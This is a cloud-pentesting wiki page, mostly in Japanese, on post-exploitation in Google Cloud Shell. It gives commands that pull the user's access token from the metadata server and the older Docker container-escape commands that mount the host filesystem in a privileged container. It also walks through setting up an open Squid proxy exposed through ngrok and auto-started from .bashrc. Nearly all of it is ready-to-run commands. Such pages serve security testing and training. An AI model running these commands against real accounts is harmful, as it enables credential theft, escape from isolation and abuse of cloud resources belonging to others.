4.8 KiB
GCP - Cloud Shell Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
Cloud Shell
Cloud Shell の詳細は次を参照してください:
{{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}}
metadata からユーザーの token を取得する
metadata server にアクセスするだけで、現在ログインしているユーザーとしてアクセスするための token を取得できます:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
Container Escape / Docker use
Warning
以前は cloud shell はホストの docker ソケットにアクセスできるコンテナ内で実行されていました。現在は Google がアーキテクチャを変更し、cloud shell コンテナは "Docker in a container" 構成で動作しています。つまり、cloud shell から docker を使用できても、docker ソケットを使ってホストへエスケープすることはできません。 Note that previously the
docker.sockfile was located in/google/host/var/run/docker.sockbut now it has been moved to/run/docker.sock.
Docker use / Old container escape commands
```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```さらに、以前は cloud shell VM で使用されている service account の token を metadata server で見つけることが可能でした:
metadata からの古い service account
```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` 次のスコープが付与されている場合: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write
</details>
### プロキシとして使用する
google cloud shell インスタンスをプロキシとして使用したい場合は、次のコマンドを実行する必要があります(または .bashrc ファイルに挿入してください):
<details>
<summary>Squid proxy をインストール</summary>
```bash
sudo apt install -y squid
参考: Squid は http proxy server です。以下の設定で squid.conf ファイルを作成してください:
squid.conf ファイルを作成
```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```squid.conf ファイルを /etc/squid にコピーする
設定を /etc/squid にコピー
```bash sudo cp squid.conf /etc/squid ```最後に squid サービスを起動します:
Squid サービスを開始
```bash sudo service squid start ```ngrok を使ってプロキシを外部から利用できるようにします:
ngrok を使ってプロキシを公開する
```bash ./ngrok tcp 3128 ```実行後、tcp:// URL をコピーしてください。ブラウザから proxy を実行したい場合は、tcp:// 部分と port を削除し、port をブラウザの proxy 設定の port 欄に入力することを推奨します(squid は http proxy サーバーです)。
起動時の利便性向上のため、.bashrc ファイルには次の行を追加してください:
.bashrc に追加して自動起動
```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```指示は https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key から転載しました。Cloud Shellであらゆる種類のソフトウェア(databases や windows さえ)を実行するための他のクレイジーなアイデアはそのページを確認してください。
{{#include ../../../banners/hacktricks-training.md}}